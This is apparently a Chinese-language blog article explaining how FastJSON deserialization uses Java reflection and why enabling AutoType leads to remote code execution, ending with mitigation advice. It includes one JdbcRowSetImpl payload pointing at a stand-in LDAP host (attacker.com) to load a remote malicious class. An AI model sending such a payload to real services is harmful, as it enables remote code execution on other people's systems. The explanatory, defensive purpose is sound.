?? 剖析FastJSON 反序列化是如何利用的反射機制 ?? 一、反序列化是什么? 反序列化(Deserialization) :將字符串形式的數據(如 JSON)轉成 Java 對象的過程。
舉個例子,有一個 Java 類:
public class User { public String username; public int age; }
如果傳入 JSON:
{ "username" : "www.geekserver.top" , "age" : 20 }
我們可以使用 FastJSON 自動反序列化它:
User u = JSON.parseObject(jsonStr, User.class);
但問題是—— FastJSON 怎么知道怎么構建這個類?怎么給字段賦值?這時候就用到了 Java 的反射機制。
?? 二、FastJSON 使用反射詳細分析 下面我們 從零開始拆解 FastJSON 是怎么用反射一步步把 JSON 字符串變成對象的。
?? 第 1 步:類加載 FastJSON 首先需要知道要反序列化成哪個類。
如果手動指定類(如 User.class
),就直接用; 如果啟用了 AutoType
,就從 JSON 的 @type
字段中讀取。 // 方式一:手動指定類 JSON.parseObject(jsonStr, User.class); Class<?> clazz = User . class ; // 方式二:AutoType 動態識別 JSON.parseObject(jsonStr); String className = jsonObj.get( "@type" ); Class<?> clazz = Class.forName(className);
反射關鍵點: Class.forName()
動態加載類 。
?? 第 2 步:實例化對象 FastJSON 會用 clazz.newInstance()
創建目標類的實例。
Object obj = clazz.newInstance(); // 相當于 new User()
反射關鍵點: 默認調用類的無參構造方法 。如果類沒有無參構造,就報錯。
?? 第 3 步:遍歷字段,賦值屬性 FastJSON 會讀取 JSON 中的 key-value 對,然后:
具體如下:
Field field = clazz.getDeclaredField( "username" ); // 找到字段 field.setAccessible( true ); // 設置可訪問 field.set(obj, "Alice" ); // 設置值
對于多個字段會這樣循環:
for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); field.set(obj, entry.getValue()); }
?? 結果:我們就用反射動態生成了一個對象! User u = (User) obj; System.out.println(u.username); // 輸出:Alice
??總結 FastJSON的反序列化 JSON.parseObject(jsonStr, User.class);
相當于進行了如下操作:
// 1. 把 JSON 字符串轉成 Map 結構 Map<String, Object> jsonMap = new HashMap<>(); jsonMap.put( "username" , "alice" ); jsonMap.put( "age" , 18 ); // 2. 用反射創建對象實例 Class<?> clazz = User . class ; Object obj = clazz.newInstance(); // 默認調用無參構造 // 3. 用反射給字段賦值(字段名必須和 JSON 鍵一致) for (Map.Entry<String, Object> entry : jsonMap.entrySet()) { Field field = clazz.getDeclaredField(entry.getKey()); field.setAccessible( true ); // 解鎖私有字段 field.set(obj, entry.getValue()); // 賦值 } // 4. 返回強轉后的對象 User u = (User) obj;
?? 三、AutoType 與反射結合后的漏洞原理 我們現在明白了 FastJSON 會:
通過反射 Class.forName()
加載類; ? 那攻擊者可以怎么利用? 如果開啟了 AutoType,攻擊者就能傳一個精心構造的 JSON,例如:
{ "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://attacker.com/Exploit" , "autoCommit" : true }
FastJSON 會:
自動調用 setDataSourceName("ldap://...")
; 內部觸發 JNDI 請求 → 遠程加載惡意類 → 執行代碼。 JdbcRowSetImpl
利用鏈分析 ?? FastJSON × JdbcRowSetImpl 利用鏈是否還有效?全面解析如何突破 JDK 安全限制
?? 四、流程總結 階段 技術 說明 ??? 加載類 Class.forName()
反射動態加載任意類(危險!) ?? 創建對象 clazz.newInstance()
調用無參構造方法實例化 ?? 設置屬性 field.set(obj, value)
設置攻擊字段觸發危險行為 ?? 利用漏洞類 JdbcRowSetImpl
自動觸發 JNDI 請求 ?? 實現 RCE JNDI + 遠程類加載 下載并執行遠程惡意類
? 五、修復建議 防護措施 建議 ?? 禁用 AutoType 默認關閉 setAutoTypeSupport(true)
? 配置白名單 ParserConfig.addAccept("com.safe.")
?? 升級 FastJSON 推薦 1.2.83+,更強防護機制 ?? 審計日志 檢查是否存在 @type
字段傳入
?? 六、總結:為什么 FastJSON 漏洞離不開反射? Java 的反射機制讓 JSON 可以動態適配任何類; 攻擊者正是利用了反射的“全能”特性,構造任意對象、注入惡意行為。
閱讀原文:原文鏈接
該文章在 2025/5/6 12:15:41 編輯過